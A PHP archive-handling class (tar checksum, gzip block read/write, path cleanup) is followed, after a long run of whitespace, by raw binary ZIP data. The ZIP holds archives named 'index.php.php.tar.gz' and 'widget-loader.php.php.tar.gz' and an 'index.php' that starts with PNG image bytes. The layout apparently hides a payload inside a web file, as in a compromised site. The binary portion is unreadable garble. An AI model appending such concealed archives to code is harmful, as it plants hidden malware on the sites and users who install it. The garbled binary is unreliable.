		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   PK     S])cJf  Jf    index.php.php.tar.gznu [              w#q Zz}c}kW͡MM&$] 
@
lk-Zɣ-ɲ=#KuYGI#zx_/_Ef	HvKZrYUm2hl(2h%Zb>^`v~;]nty}.|w'ey3j
P7yogӱ[έ(\4xe+Ƿ凗#,F?Aw^{o/W<1|/>^/;=C߿k.-,>G;WcO"_0->>}~|P޷?0y7y_>;|q-xV[~:]|pS'O^GP^.i?,? OXۋO.|3˿,߬B9_y(GN7חo7Go-~gś87+/@-X @~"`ym˯@o+?[~W>ۀⓀ[Ͽk4iO_]C ?WzYRo,2}i7Y8%@g\~t
SeA>e	?[h凖-?y,y=h&p8ڿ[=zPPHj-?_{On;/~x}p|2@l~6Gm嗀OZIo.:*4j7L(͒y嗖_[~e6{?x?3hś B竻^2\zq+ݺ?8d^Z[5I,UC;}{G-@̄^k7=4J9-O_}=DdNP}
_,9pѹ[~s-{ǹ@{ךxo#Go_#/>&zg^~g'ruo5^~}FA '0W/<yoJ7}@.twN}/@j|uw񖿳.؋P~	<[~PBZ~u|A#)[# !,zkOˏ.޼By?@N_4^\K@zlft`׋O>z[|o{z<sǗ_,?zꋙo?x~cLG'×|ۅ-;,p7@zG_\~y O|o{%TԚw4_?ŧ=wK	lKq@嫉_[|W˽YK`ru ?A_}n'ίA|ko;A.{}^,'?!z \o輪k,~jzI͟>1Յ`=Ov+goߍ?y5w@Y|hZT닷r!9{ms/_`q0G7/?ŷ@}Qxq<dh_uoN/k{W?@WQa
ŏt7); @?6xZ(Uԧ>{275lŗC!W
<Z|_'}/7t}O>}{apz{K/_p)+>X|#r[~v%|}ԝF,p^N71>mN_-?Dz?[B}f:]~|o/M+?Gۭkᄽ Cїj",>/߂$.>5Wˏ:7k--Z~53;˷۳sʟŷYБ-| g˿
Ҩ~s)߇Q]oRo^@|Ƽ]~;mx7 qeq|"~W_~zg\H_gġ7xz/GZ~cm{zr>Wa $['J~}G
~sJO~0\~n'o{H
'@mM)޳ a/_Z|qn?&Xo_~/k_Mn%S__oߏ^[5hɷ!o .Y~y٪KP`"|:|>5s9q>HeOT1T#Pcq^z lTV` 3A!kZ>CSt̮S}.(awohP{yxDYGGs- iAg[` w@KmTv vw.\)R(>G{}Jw-=KXKrC>YlNޣ,wgnڴp٧g5Ē]`<}/-"Kۤ{"K[brDA#0f"Z `']"Ǝa('ILW}m/{_$+I "2NsME(oJR02nYtl3u|KۧP"L. x+G Qt,ElRd$sd6e8C%Rz#RbRUTleV4bĦ$ce2H<U	I %*ZǐEDGz.	8*z.a<% Y+`uEɢ& $Ey]ڀ	/4HQ#_$F.kX~:[C5yiO4~IP	%bZD*bP&G\DTQ;+RRkX@hq@lm{$wPC)]ĢȘ P2&e$iX.DIݳ
OEtuԋ=,z&^G^`Xr i@,j@YVkD`k&5m%
|9`9-P(-^&X) &peTRB~̺
El&]oS+-R9	`=phPa0F2ࡄ}2lmZ I%Ϗѿ1-(V>*E1kETOiw)#e{Xn=qu./ww$f*Jz|J#}z!Q#E/*i+UYLBH\" B1ӛqwSA%X@4@6_bE4
|{hkHC@iNKGJMP&$PLOFKczm,4,Y.֩'F	p.3Tk)(c
[҈\Wu?c}hm%%*.3Oue1X:!;a]9}{HXfzHWTЉ\ULSi֯=65"]Я!֨GFTwBPy0w)qax2"]Э!tKʈq2i@@%'L)_ԡ!uF5`@L.q]pFБJdf!5)C;	xRO`'7u#XH7~ŉBdf#PA)DjROQS7&qo9/WymΧì6NP(@E}m JPG*+O(ad%>~'AJXP߱XhR0ANxMC+	2R$äM dz
"XN{R#Ԙ;-$+]9IJn*o_έZZ x6cڧ{-ֆTuĲ05KX[C&+#6 ޕFfL (t	RͦP	Etőj;1V-/J#\'&%ʔD$@l!`}'̊^dQw)Z}~B9nh^	l  ~lڦ޶b77Sۂ1i#n2<ẃJSoT
fOy=Wε^ߑ`˜'6n \Hl>Rfǋ.kro}TJ6ǁrT(?ẏxF#P%<&8YV
H5A sy;P>-c!Trqp|t#"Hޱtk3,Lbd{zYTOl)ν\M%jW"ӋR7@wkc7E|ckEkxeޞRMѬ\ѝ	Dx."R@ڟȇ<7ǨIq%Gh>>֩n"IM>AJ}C0bK,WTV; z̼0=cd<p@"'{+n/amE%Pkx	U\Ɓ~h_b(2 =e#>F$Jhf{5$	h;x^+!ɨk mM xJF"aQg+
Mʘk)H"Ph D |:G5Q4}ʾOI* A4]c ﮡ4\["PWk"o 0KP6WV,p?J<=6.Sķ)/GK"/H2eAiffE#̯Z,'NI 08rY	ϞMy}%{`9&yKUAM2?x&E޳'A7K~>+TjGdz>:Ӱ7Ev3~ÑEGd[Dv#BKf9E(q@wj- 4,w	g#(N,m3mDј.om>D[Jsq3Rooi'mS4F{}#ʹt|ܵ$5Ln#|}TEWCˣt}VۦPI[+|c83>Bǎ' Sȉp+&*s#1zu*zat#(o
G~-wFUЗr&g#YI<qkeUJeMՏ<)q@+{)X6dc ʮLQhc<kxBY}HyJhЪ
.=v)uxTQ8͜S@1"lpruMTY]-~/>n۠&iBZkEH7Lҏ		z'[8.ԝ\WmKon̫hsMGRoQv,aH\J-g96WP+c1+DN.GB#S%ɀr	uDG̣1Tr,;ƨ?8dٻo%E؄'%Mu76y=@><{FAp׋jwGK	C.ȦKדAdEbY,D\l6N0zmWťmcED7/Fr;Q.	3V!@E?3kf+ړS
$) (Wa`["S6 (CfVnQaU$#""gR2'q>1nԇi ko*"!LGEP,P>GUiiӦ
#bD.By㑱,e%	-@(UY+z@cP<]T<]BRkQ#R:t-ubdnf}j7*z0LwCZ޺<LtuAfF:RjrD=!
jtǱw_x{kD(E@'Pi<Tk|T\ LHxa㑕zVO* CrDzL!/Z*www;]vn< ;$;0]heb%ڨ92Ծ0e}$Iuυzl{Br@a2.U<QY~EfGÄ$&;KEe<@[S":4Z| ğAmbq`Tˁ2A(֠*QNyEVRV^,:~^QIaL)eёD*a58W 5GLHR7q`DCh	4gRMV۪&"pya_[\_-=95&}%#BwV(j3
3dHRۙRA(%uWHz(ĥ\m	EVԹr>LԬK׍ZF3ӘHJF UIT(gKg}3~xlppJ[G]Q+GV(5}d:o]j~A3b-]^F%s򭯓(Jj}fJ3E 'Hڧahyi夻s0U9P2-/TSuw?]b!dځQDAs$<CS7f$Ҝxy6Q**Bdʴ𶈒|4~n}|tt881@\kƊh\YrwCDx#4Fxۧ[]j$va̤:"MϖĞ vԂ zB'sE5R$Hy|GmMס7m#ι`mN޼q8U3w_
O6_0gApeI4,XOIX\0Pe~gsWZ9m'8;lg4%5F)$zf/nr˚Gkd{jÒ4R*eNo9FNw*m}ֳLՉnLTvHɶ;87کFlbYwν\e4=q_yEL3mz]V{.^HX4IZmvfKq!w\+N<['<sE1ipU]VvE_$~2k#y/	vQЙN)Z6PsX%3R &[rʛ]H%mT'3oj烳3ﺊxHIdye	Ygt{(tsD_fhjs ݢ[E +=Ĵ3\C/wףVzn;GVbfϭN]qyc&&6򐚎<ևg&^z~rA6"J#WrqDݚyWtv^R/+3]*1F<\j~b#!VJ	O	^)sghyrZX,%yE-ltJa̵[KOsi9p8)fnY4.-:lKymڙ9lZspqj#4ds8xYu1]#y /ޤ]t.w0:8mqjF;	OhO9}3ԫƎaOGM=w{BlXBBߚקg>g'"tZ1q9ѩg514GMm[JyYo3n09+E uX=I8'5:Ldm>G7gRHvq,i~^W܄TPY0h-Ymc{ms$R%&5V(tR6c GWP>Bcښrr Ө0M(Nak{f] Xx΢aiK@
{kXiz
ԸVL<G|1W>z\"{42oZN3r2ƈQto(@O&&P^ًm:3.zrOМ#P'mNl8bm-WhmmZVAw$>	-dD67l5smyk.10x!

(%׶[c`xU4$*#W7믡BEVef,WhzD?8[^+d!p5kc|F׿%t%ɣ>"$V4{UXD(uO§X4m`s34J0Z?m8DoځQ3΂7^6<N58'RU
V}>|	 <FgrD7eM#Th|6.Sd(K(uBZH^RUf$g"2LbG 1YWi#sYiHse}go)~~_ُ?[F)ҹX/Bi+7>{YJ%֣cSPVsLuDl0hK^=꤭)2Y^Ov*=$Z\3#^øpĨN
:*dx)t8dJ~2P`jsCr	ew4 ڜhHxyȋh9 4[(0}~vPu/VۉѪCsL+1CsdmD¢
ZKokEI#f'ØfF?@i-dHaJ
!6M* eTJ˄EW(.׊`
]ؑЏugȱ
zhYm< rkSþ@e}!ߠhm
ImbT)L,d*sxT,.iISԂn(_WoѸymJ7uYq)GqO\yؠnf{z=V0tawBcj`,>lTQmƇPuh2#8T)N3n\()sPHf%D,L,&XO(=HmMhї
J5J.UBPcj3M(l{lhC+hyldyUkk:O0\E8PkPQ;Z!C
%PR<pu]İ-W)Gߞ1\	
NUw0Ru54p`#|[Z߸xJmWCܾ9
W19ȇJ=T#VEkj\ZGq MriD90B7T|\n퀎NF9c(7W63yfU!mVbipl2d?fJv-eָTGGv&2DYx?g쟦EܬJ#kRd\E),чGZ2=jB;[AQvz#25Vɔ[uQwe!BdhV\oy?<&,_~{Lyڪ﫫Qx|{Зܩ+ԡN<T/#[Z(زh#cPBIqurspyȳa;ɘ`!+!L=uk
lݠr~%
JHb3;P|AQYj8Ѯj+CB$#T5iҍy&z-'Ot5íI4YYNYj1'm
i2  SW'Oq%nVٙOS*	:o65\ӳ)4U8^=Զr0?(H67CnJ<<+=LDRiX,;)]El4 |xbǭ NXhZJCO/olX<O9ϲ}uMq>z>=uซkKǖ3_';΀igUk1Ymxj	 !mۃX_g+Rܟe޵Rݣod:XsrC
4IJN`}P*KK፟}DxFF-Z&TUoUZoÄ?F6v&BD5;Vv1b9vuH)6iNy\BJ<U%S3YdCʃ?Ӥ<xv5;Ӡ ȑeLT.!C%H1Y|ŕR1ʁgN=xLPx֣II]ep&2GibFXYזZmVuЦǿ:I-Ăz{
L0""LNN
]KrMh&̜'3@1I W
Kǣ&o1x6_~	.FG|I~9̔:tͦe1ұ<+
q}^_/$RC0ÇmrpBͤ:nBwYQޫS'{Xv=NNާ8M1%IV
Ãee qqq_N2,JChJ>WjoS5t1L6%U!~ x#cAJ}Nn@w瞍| rH}o=$N;| ;i}7ucyi ȴ`Ae|}AOc5`^>p%|)6nG<Ƈ<W$4F;zeq(*^X[ϑ󏵖y{SB`+	,AfֳPO:֖DeAq(8=8DF@J(j<h<C+ nA%ïԹ	4">=k##x!`F5Gu,kأިW%cX2bFMLIXHMV;6kL1,)ZZ~Y
GĠ]}KДy&>)PnD0=wȭg:U#~Gkxo;lCEg/sst^s+*ipVsVX)8\9͕ArPzi\jYuJBeusk\GR)-6tP*Z8p8ȴ8+
>ŨCCk-m..#F{fp:RR0_($NHWCѹ
mk6<bt
t*
8
Nm07P$Pڻv2MoPH X8Yq&;h@
\Z+⡆䂵^(RС<ZV lD$'nIpɐ+
g",h{@㳴;/T!o߫(!Z?*<J
9AG"vn"19+vM~5VL[@kie2)wF}4u{~+c[eU)Z!<|A>(ن񞯕/ZV$B<K|˶zg#n:'NL#gJ}plzI(ewǞ#J4&^LsOK=-YOl}_r;"z9˖DԳn/Z')k^
1tQdY=w~Z@ Dnذ~Y6[iAOvz.^1!m!`K>
&`0f+cy ؞y0d|>t*r`(/NOZ	zʱll^4@ƎHNt.Ѥwwm,僳@X)l ʲVj]+x=Y(|xwOZ?(ţi3~Xo=m46D| `xG^<6+]p-W8W=M?BV&NiV9}2ɴ*y6RFS1-1TMwf+f´=9*~1Z@X4V%	yW)$ZPigI7܎f02	|ZU*hǓyӠd#YR3_?hbvaU|jl4%P ,~bvc\YN%k/a"ݓ`%CҖzqypִzVì.lc XQ{2]VI>Om.bz:b	kTn:u&0հ7.[CDhPN
t96D8
̰%d9n\҇BZN9a+Ry8p伎Td/{:3|͑N=U[;SaxĲ3NUZ!g*Zb\LUGx9N΋3!*Ν!DKL=lj/8.`..o.L|VdwZ-OှXC{S鑏fZ9Opj繋PeUW:]t=1V٢Xj|M4|[tbOm2LYäQ[4mɤԼOim>i$͚_Ӂ.ܕB~ԈrSd;1.vIuNWV;gJTuҾP	+Jd1:s1Or}+SsxM(/JC9Q$LG29˕ryCI#o=?2]W*7񅧒wkH;(Wi78>Xq5}8i[~48o;u_~3棬=<Fe>glGjg	(+gjv{:OݝYL&ukr ֦+>fF<`^ejwzm3:عY9/T6FX˩ظ)z95X]pa'^f"yˮMÎgYSV|ruyٖJCY,cgi[vص=ZR:ɜJ$鳞5j9GyrrNHEP(DYf
.=0(sn4ڞ~,9qSgveݞ	mb"}̻"^Ϫ@R%G9oa6ͻF7믌=.(HO,L'$;q,f=p!k6:&}$q13v&sV0HΚbcv	q\~Y[>-Hh{2nkX|g1۝3d1nr
|Dg<feT%SVܐog:<sڵuzMJ3?5h_&'$(ܰƗ<b+;iۼ%2UZqWg(ǜ&Ex]M8j<73=bg:eb=-Eyp8Cg*caFMgUg|2(墂w"ChVGhZ0EkOb-꩗-u܍LV]gGFlU:{?Zx@{V"w=8<2.a4ӉUaزI_gs:
r6_rNlH֘/kKqb/j羹V%(ӎZڔά+G#S8l!`'^ǕyW![:kgS6p3{:r;yͦ'Sm\:.
tL>=tI '@*Ryި]ͰgbF{8]s,v=k&b/T}g6rٚꍜM43لM̜Rk_~5ldxm-KhAi7bq\I}äl]q3ٚCE3*csqs^9/HX5zaWY:VW3v'LxZv%љ+qXRN˚)rl֕<6g\؝@ۼMʸ9͌jiBӶ:hSe<Kf1uCh~xfhO4}iص#OgnɆuJW:¶@yCpVu],Lhb8mDz|Y&T1"{?/b)GŔ5![$3fEgOѬde?uY-#x*P|;}!jzڧgaÍy[o}<v8!4kKn7aքZm	BZ
Y<[	烋f,ӮGBG*'Rѩ,~kѹYldƓ31Tہt+\ɂŌ)g3c$qY.PKsӫ}a֋ts`y>,a&IɡuRœE5Z㳎G|"va*](bZeQϣJE9iLY)!QV2y[.eJtqt;Cgѯ;@fVe>r>zsq=??=ٌEz8LۙX+#k(Q&:/4.EFj99~nF3`3R<Mr8jWKRw5zc﹢֚;TY.MD-v\?VCZȻk!ﮅZȻk!ﮅZȻk!ﮅZȻk!bsAW^qRb.8'N]F*۹nosY6`#x62FJ%R4LlvS$*\N,,׵M>
>u3l<<;}CzgMfpbJ{z^9,W\ey<%xbZSeP'ʡ@:e'DYq=N86iyq)Na,v=LR@-rydkRt
%kg8(dO/Ӯ"cͤBemI@jy<NnF>~]R%&P6§)fIိ*)]s$.>vlQl>tұSlƂæб4X,~ϟOM;=*1ڑRἜKiÍD"&LimNLϞyĤg;TqskTu=>O/Q	V@j4c_?*U{pyuxgeA
Mk۪[XmV~R*!a6e;,1rϒ{G$cS.mZCwx5/-yMs୍(c\
:863S8n,޷ь̸]uϨZy8c(9_NY<Ppԅ3Ttr3B͙^ھ N{*VĹw 7/P EЏdqdlN;gt8שtgR&0v5:;X=m4mִO˧դYc>:6[a.fEdkm;jVf(?~a.0=evgwӂ5unYF9>])觅,5jܠ=@zHE{d'̟lDb|<~6NzU;-?T&c8+nq8~6)1;4mVUp(@oQD_b$r4
;OV%vv,;RSJ Y-=y;zvvx6JE-TƇgބ'lMӵ^<n_55sL#1TJF^x&xuQ/g.|謚CZ`&T-*yOeq#R"l6'VS) Ps@5If&yUU@"C&H6]曝>uzowVx`ˤB08v{\(T.vVIw0HI8{!~ͫu<H/amTt*
PxΧ+bG
q"P-uxLJBmuJX5cE5?z.:6	;zG:gWgRu"sEǝK@bNwJ<7	P,*WSc(ʙ|Ǌ}4Xp8Pn>}0;e%`׻GrdQ|1LIa	=d}S	iߘUImqY{/9{*~7Ca@f]G CWWt@^[ϓX2쫺OtQWprV+mr*rKqGO{ظwznZwoI#(rJW:\OF7Iȱ0Uq&o1~t;	iAA'_<=Bl:d, Y gBJɺa R) V7eM=%ڧ90p|\AMS$zUuyQPD5|,Jr
΢&x[-訟z}QbKغ4P::XRtѮFRi1	>:piE3~zj4,5fE:Ę`a9V>uubǐ8<f-ipM{B	z|z7OKnD׈{iKsZI|Hʈyd4biSn:˧ySBi\EniSr<6jWц|ZAcrx)_=|tSm7#ʓPF'	nP\@\quXK:+i5~"@B7+jHcrZ2=m&(78E]XBե|hZ<gla&`Z&yƄZa=}K75DנXV\MzFLjԤ'KN)3!^?uQL4(]	+v zARc6U%ɋRZlݫjQ 6^gYV{hJH肳޾Mk5$KQ-LY&&yxi+ʨ!Poc4[\	ZL˽k%*R	5ZN%]"KVFge꯻[@wjQvFƥj4dFľ'L4F*	d&HKPVr9Qd6B7 'Ǡ{ї616kNP堬l`wrjVbdhÑ-vUgzHQ兽cBh&nfDUmKXZd(X'UIXh?Oh?'J5ɲwRtm>3贺|ls#<:7 EhAƐҫS'Þ[R{x~2 )#jcx)Rg
-B{>S1V͈4*RCbh1DI(ށxs=Nt.L>0S 
}1#Hz("|>Aa11n=ow]@eZ|LѤ.Q#!4qdza|usuJ#SAV`Zə*8<iJ|ds6k蕄&R޿vY8hT6W.iQnVVTUQKkI{|uϪgN9^e
cL#٢V$M^
LMu[GcN*rMW)tջJ[i&wElHY*i] pZߨ+=;VP,,Q-j͏鈚<5eaŵ(t_kȚ##UTێV
tt9PJ7Bm~|fGzZz=k!t'uXeֿi($ٰV RJPH?#p 
+]0<)_I((0ӻG&vF#lGUτ&xɵ|yʄ#5>D	]6uG{k{	7e+}>UG<\Fk]h͙n&pK8m_K8j6dj_	%ǴDƠt}"ݺ$ѭ]wNW]W^u%SK)bZ xAhznD5FO~
0]ܗT3yNU+@1yۥhkhC!+M?U}nUtcӤyqHG-rYSU:;KMt}Pjb=^J(ʓjmњᳩJW9;X;"?AIh0rĻ!"E (þmz^ؾrVʠM;xũ,<{^sRFTae4QyNl%}A{׵I~Dq	*c	҈Pu@V=c^ծؗWtH  쭼b-y~2Y$7c+Sȵk~WF Un9pnx82(>њk
f0H [eB?hPt9L% #վ,^(747YY?ٴ=nޱ[B@`Dqa{7V\Uj*˷,{۠ͯdnlTYiuA/~@VGաʬ̆__/_E]Td4~I	"kzfNU22^5V1#\c´>76FBJغ@ʯ*Teh ΉV](>իK0йuMUP1qi5ҍ69;'P@ץ"g2#h{ll4t
k&zrRFfp6Z7\AjsWjkmh]n0#$z<C__cZpə;.KVe76#l_Bw@7Q.%cq3FM̌g24nS,-M_1yʻiw;Ob+~vͿ賺w_WsL 'dlmr%[RM|N|)ږۿA_$Ѧ0uKba%H	F@Oqx[PZ*FhWGOi3=rCz|-H)-%
fsDQX 4P|"x{"-Ȯëw
*'MAa0Cur)$qr:YY4yۊP
L)PZps|VaoOT\;)Wu!<
5; 9!yIhVZ4EIӣ
zNI`kwn~<RW>Po<_=xqoǆv-2tEְdxq~^߲EF".ˑK8*"e>)BCܿO!N(AFmΆOn.#b&_| H0Ar84	x6(:?lb)r!U=W"6ToݻS!}4z-wAnH߾KyJj6Ux_7pUSH&BmmMyES"d0cjT:S$z֨WۧGPyyc۬l>ǋ2vP8NŪsưD%."@khavי5#9a؜4~ct5Dg!ߜGM`NV2hƆR {<xdVہ<z;>eD2vzWG#d#spƠS=5RS_eOfp@CW쎍ٍlS9ZydzÅn
BlPbYZmBF֯61@uBlL7VpC2lk\ν2w7CZm-ѕRTmMVJ6zDTJB!<0K"$V
R7%I7-к=Z,<'c==X[ <:x^z6&-wy.^[/1It5y	qvr0qw>(Fѻ0Q<wٷ).ƁuC^+nl>Th-ЩbMIYO6VL>+KW-&nnwW7Ǧ4cZe؟ox56n:~=6\S/8J)cS2e6js#('~I2h'`(ۇ+8*˻活U6ȃҜ^QG6F/5r]ˋ/꨸А9k|3 #ap i
Xa	 ~\tR2~LwL&NkGmCᩎ:n'bA~gDLJ}^Q$$?aY wtK.k"߃R:?ELRNfܥH#J~D)W|#9ZG`hWH(JsY8dhq7rteIs׼Z$i7+cBXU{G=rsiX5VDi+LB3^V52nz}[@IR';쫬d҇PA;* Ty3C!+"Hr#hQYkL!Mb2\
\wX686 WnqPB1hsagrDԨⰌ&-^3)k5rrx=޾	!#ҚMeZZ(̻X9@19fhgLoS+s^`=?61 o-4enmMHXsg@EJxC3踀+qgCrSj~ǿQ1/!Wyui}KH9w11*,>#̦VSd2:YzܧA>]"Q k
=$>!QmTMaC'Z~AFD1k?e.ƨaD._P;OBi>fxd"nZz
w S*T"Tn`做nX`d1Z\ X`xhQ#JJh!KZ&ޮ.}DC):,ڧjIGYx1\ÑrsFY&)
#޶.j,kjKj< /;cw\q]56
E+*Wgsq9Gkhh D<BI"p!Z?Ln>1{~>*X@hA<1gYFDH[ؑH#8Q8M] =W^ʅjTjWb3!4Oyz-Ĭx6O]vМy	잙'Q3h\U1rdƞ>~0k߻1l|L1	6i3ցNē)Ž!SC
O痫TcD8ܒ&QA!ϯIa,.OrG↔@gd̺:Xdb`lkKJX!>?:Zuz7S(`(*49SDb\	:o5dmQ8ʝuz+nkq4Ykܪ&+:4(}*ϒt;6.j;w ;ӥ>+f)*ۑxɠ$*ώGhAB8"9EP$й|!
j[]m$JQI>9PGʅhRU $C]z`@Qϗ"jIhLG ~]W7Dr7r>Nv߄$+hۍ['ۑ̛ÓDKyk[1TZG>݀{323 ,G(ǟ
m`UVs
 B\u\&@	s]Vo1ajwj1RlY 9J|3P;:h(PNŃ:߿V| ,C:ĥ@&8đՏ$-/>b̱<Ik-u CAPե]@̝MFWֱ,M'JZ뜽IL&鹦?)&{g@=o's=C@WK"4Fȥ׹ 6e еx.hVchѽ-zG*9Mmt%𖜀}nATU
Jܹ) Q`WHK392)KrP;eUEF1l.L&wk$p1&?Z5'nN"秚+<nIOM7hǣ*Ifp}7˿wjf0Q}wuܧ<97 ^Uha&+`4,\JRJ:T ցݔNb[`5Ȃ\veӁq R%ond$56d3i=LcEɺ[S֔gwY<r #-N4M-Ӂ*6&4Wi^ަ+mv"bp]a"pWEaDpr]'_o+|u͢+YJyXՏrwuXcZ[X/DXSv~JƧvi\@_Bֻ0c6AT$:=t:\=M}PnX	[?8m'&OD^Uch-{](
/u&aT_~`P/0έ;J˨G܊j Mŵ"f0GW3H\'QQCe~( !<'AneO6Wtcw)TΧ䢽A'
c9&:
d-?cLg`7%	q"lj0dWː<0L.{vCJ5p8̕c@V&XHgk@Un?'rVBA	t/׽׍Wy64֮տ(ICXh	RFCdS]ke0l"781!>j+e]Ks1l`hDMa\8qlBsi2`oOq7d+zWQ{ճjO(QuaYɫB3i԰+LGMP깦;n)|PX>`*9z @|6l.M^aGC_I\ͯddC)_ZZ%&\2Ikr|ZE;ഥx]kǘG/R>eIqi:FlIՂ%Y}A 9E"$6PS)d\I<>Uor i$Q:jOvt}XR=j}U[eGd$>\#R= Z7RXūSJ󂆜8Ut+	uYӮZg$UB(X_>BepʨcMog)\-9#.ԕUdYBDZ5VG$ۤ'6Ud8Tj7Twz(Pݼn=<"Pߔp|`=aFY3@iՅjC4LÈS~QUY{*xNNG,ռZ3
[L渲82/ѭV``6{EPM.%'4;WWt=&Uq>ulk{֖-r`m*j=6ڴ5csSze1QqU2^Գ	0R71t*7&^SڈmSB{aCYkt)S[ŪVQKjjѮnt"ĉ-t׈Ԧŏk%^Ycװ~iGBmʢu+ӗP!wչbحLaO^_*PXKTW9\U_m2ݣP 4moj:=ca0()QTUoרmޮf&ňWWק{ڊj1k2+L".#r2+`)>鬬蘔aXՊ⨯|ۯh|zD,{{+dǻS4ZFQD&YP!oa+̶>@F"#\xj	hNfnHR(O	dC֪[NF#Rْk0>x/DSR(L]
3]8PW?=؞n	덄(Mf)ǻ2	AS1\z6I|Л[A9dQ̘5MH@V2ʒyM^j5"V؜Y?V2{ʌ%Gk-+iE:'ǿg!1I!(Cz<ƒvcXQ.rڞjF4{	uxяF&++أ!*-hI$-@`9ky!"_qh5hMdA.QaIz>Zؔ^1FQ!Wh|QՃEꋢH CrGȤ1*'#xԸRrRR:JTmζ@â{׏t#xcވlƄs2eű P+@}#IBס7ygsQuELeDj^1PamB? m Vo\AkB Ш~md*YYu3YU^A |7ovqDikUwџ#l 2FEh3x`CMu[
o+ͻI؀΃pEW#hk7N}s# mgU%_Mժ:*7׏7SnY:tuy=@OjMW9QOjw{o"k\kyqD^+Ux|М $xuBo_\.Lk[CtkA'fhZxc4uS]|0i(y=32)Xͧ0t4퐄1l57m0S~7Ru׀Z.;*98H6 @4K*)^ ~Wɏan)6;2I|mĩ,SﰷQ}u=Z翥|CwW;Xg jh4gsO,|߽ϻ?Z: @ PK     S]k++R  R    widget-loader.php.php.tar.gznu [              Tn@3_0&CRYjK]䦍oq"UE#<sfbz~gM%jEyR)TT])t<gU!hjʫ6	_F+bG|?@ދ~8f731gu-jR3<;66)UAI%0ϐX&ywyI@dx6a 0߸a]%]1o	\BD}}5da]4.6P4yh;^0sLVpj$gnJu#(BM[fW	,8y,vJU D)IDʬ@9r_(^H(++1ǣ84N&)kh+H;fOJ,2/62xa	Y;djٷfEU~2v:k=^WٺUٺ+-C\@M4]AxWTd4pf쐰%JtyG}cߦrlg'R!( 
  PK     S]&79 9 	  index.phpnu [        ‰PNG

   
IHDR  6   £   7¾Âß  PLTEÿÿÿL‹õïïïåååLŒõOŽõÜÜÜRõI‰ôÙÙÙçççáááJ‰ñÞÞÞDU¶Oò6€ö©Çüb|‰ÕÕ×e÷÷÷ÒÒÖÛåð^w‡„«ôÍÍÓ^•óöôïEnÓBP°ÇÈÐDV´>…õpŠ•ÂÃÎüùîÊ×ñÃÇÉš¨°±óPo{~¦óZw…\tˆ>P³m öc˜ó°Æòäéï»Íñ«³¸2F³Yf¸ó÷ýŸ¾øÕáûéðýÚåûØÙá¢°Ôwœæ°ºÕÀÑñ‡¦å’©ßº¾ÏŸ¯Ú—¶óPt¢PƒÔ^r|t‡pƒ”}š„¢äMi“¡©—¤ª¬±½Mr¢ÕÏÉ¡¦Æ™Ñ’˜Â}„¿oy»½ÁÞhuÂ¨«Å–š¿þ­)€  (IDATxœíÝ
[ÚÈ p"&bEA gÓDQ«-½¸­v÷”êzzv{¶ÝïÿAÎÜ’L’É¥ä™$ÿgût­í®ù=ï;—db
…<yòäÉ“'Ož”äêæú¸õÄ^%ýÕ'•³‰ZÚZ(NÀqÒ_~2y=V+‘	!ì\%}Iäõd+Z-Œ
d±K¯b©…±md±K·ct(J) ¤K“¾†Õçªó,5Â¦f¯KÏŸWlÄ-ƒ]ÚŠ5²…³e°KÇË`S2×¥“Xj!lØ
\'}«N<¶52¸e®K—Â¶fI_ÇŠo±Æ–É.Åª–É.][æºt	l¤K·“¾Õ&[„éÒIÒ²Ú,ƒ”Ûë¤¯d¥‰Á©FØÎ’¾’•&š-MU³7—.…
—ÌÔ­ñH¶è¥lÙêÒ(¶8j´KÇI_Ê*Á­f±mÁiÒ×²Â,‡téyÒ×²Â„³ÅP#l¤K I_Ë
Æ ªárÛ {I_ÌêÂKÍaËT—³-¢ÆºtÏëáû>Ü'd*Ö@¶xj6.7¥Ûm¿yóF¯V«E”u.Þ]Ÿ A¬%­;l1Ñl5ºQxËÜt,W-ÆI•OQ8![\4Žté»>q{2ú3’¸	Øâ£qjô€\·kšíç°Éâæe[ÀÌÏßš(
Ë,t(
$”bfp±-fæR#_Z»]/©E@¶õ¤Iâ¤ƒŠ$ÒK¨¡j¨äs[X¹ÉPn˜m+ÔÂÎñÙÍl6;<¿ƒcƒï	[£»Ú}*ÃèÁ¦Ô7k=ÃXÃ1ŒžÑ¼ƒP
RC]Ú&lúúÓÙdèÒP6ÞM{”ÌŽaœW`€šªTpµ5P´˜n‚i¡˜´IŒ„±ÁÁÔcÆà¶QÁ‰Ô¬.ÅnåXÅ–>6ÞˆÐ\³Ø~m°.­ë™dS*ÂR³àZb7¥Cæ4)`·mš26elFê
w©é¸EÂ¥‹Mõ¨8Ü‡³ 5Ô¥m›­®G/CÒÅV™òfkÍÃ³í³óÙÔZ‰ª‘.¥nx|+G¹yÕ¤f«€™SZÆôzB7	°48Ä¿nª¡¥Û{êFØp½e‡
l÷œJ»Öú¶¤*pÜ4BÕTøÁìb·s[¬G¥f›Øµf4éÚÖ™*àÍM-D
